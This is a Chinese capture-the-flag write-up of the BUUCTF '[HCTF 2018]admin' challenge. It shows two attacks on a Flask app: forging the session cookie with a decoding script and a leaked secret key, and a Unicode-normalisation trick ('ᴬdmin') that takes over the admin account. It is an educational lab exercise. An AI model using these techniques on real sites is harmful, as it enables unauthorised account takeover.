BUUCTF 刷题 [HCTF 2018]admin
BUUCTF 刷题 [HCTF 2018]admin
查看一下源码
四处点一点
猜测应该是使用admin进行登录
注册
主要增加了post
和change password
功能
post功能我最初怀疑是有什么ssti或者xss漏洞,但是好像都没有
但是在change password
界面发现了一段有趣的注释
泄露了Github源码
解法1 session
在此不得不吐槽一波,我的GitHub打不开了。。。。。
没办法,用码云clone一下吧😕
首先得到的信息是这个框架是个flask框架
看到了这个框架,我不由得想起了之前见过的一道题,那道题就是由于使用了flask框架,导致session可以被解码出来
现在我们解码一下试试
使用这个工具
https://github.com/noraj/flask-session-cookie-manager
但是我dncode后的代码更改后就无法encode,看了一下别人的wp
发现大佬的wp有些说可以直接使用这个工具dncode再encode的,但是使用后我虽然可以正常解码,但是encode的时候却发现需要经过多处改动才可以encode,所以在这里我们decode就不适用这个脚本的decode功能了,直接使用如下的python代码
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
代码来自https://www.cnblogs.com/chrysanthemum/p/11722351.html
{'_fresh': True, '_id': b'83d11c7d78f53f5bef71d91422575aa3f7e57e4c6917bd6ed9c88a7e1550fa6f857e808a2a784946fa63a78539ccd917f0b4e010c89adad0063f0f3837f5d82f', 'csrf_token': b'91d43a6021fbfd5a2ec9998ee882896ce7a56659', 'image': b'czLe', 'name': 'admin2', 'user_id': '10'}
admin2是我注册的时候用的名字
接下来我们就需要将name改为admin,然后再重新打包回去,但是encode的时候需要密码,这时候就可以去GitHub上面的源代码里面去找了
根据重点关注config文件的原则,我们很快就找到了key
使用ckj123
作为key
加密脚本使用的是GitHub上面的那个脚本
接下来替换session就可以了
解法2 Unicode欺骗
这个解法对源码阅读的完整性要求比较高
在源码app/routes.py
这个位置的后面
def strlower(username):
username = nodeprep.prepare(username)
return username
对于一些特殊字符,nodeprep.prepare会进行如下操作
ᴬ -> A -> a
搜索一下那些地方调用了这个方法
接下来的思路就很明确了,先注册一个注册用户ᴬdmin,然后登录用户ᴬdmin,变成Admin,最后修改密码Admin,更改了admin的密码
题外话
其实这道题还有个小bug,那就是admin的密码就是123。。。。
参考链接:
https://www.cnblogs.com/chrysanthemum/p/11722351.html
https://darkwing.moe/2019/11/04/HCTF-2018-admin/